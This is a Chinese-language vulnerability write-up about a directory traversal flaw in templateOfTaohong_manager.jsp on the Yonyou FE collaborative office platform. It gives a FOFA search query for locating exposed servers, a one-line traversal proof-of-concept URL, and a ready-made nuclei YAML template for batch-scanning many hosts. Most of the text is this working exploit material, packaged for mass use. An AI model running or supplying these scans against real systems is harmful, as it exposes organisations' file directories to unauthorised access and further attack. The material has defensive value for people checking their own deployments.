用友FE协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞

漏洞描述

用友 FE协作办公平台 templateOfTaohong_manager.jsp文件存在目录遍历漏洞，通过漏洞攻击者可以获取目录文件等信息，导致进一步攻击

漏洞影响

用友 FE协作办公平台

漏洞复现

fofa语法："FE协作"
登录页面：

POC：
/system/mediafile/templateOfTaohong_manager.jsp?path=/../../../

nuclei批量yaml文件

id: yonyou_FE_Manager_Directory_traversal

info:
  name: yonyou_FE_Manager_Directory_traversal
  author: bjx
  severity: high
  tags: yonyou,oa,FE,bjx
  description: fofa   "FE协作"
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
requests:
  - method: GET
    path:
      - "{{BaseURL}}/system/mediafile/templateOfTaohong_manager.jsp?path=/../../../"
      - "{{BaseURL}}/system/mediafile/templateOfTaohong_manager.jsp?path=/../../"
      - "{{BaseURL}}/system/mediafile/templateOfTaohong_manager.jsp?path=/../"
      - "{{BaseURL}}/system/mediafile/templateOfTaohong_manager.jsp?path=/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'onclick="uploadfile()"'
          - 'id="floder"'
          - 'onclick="newfloder'
        part: body
        condition: and

      - type: status
        status:
          - 200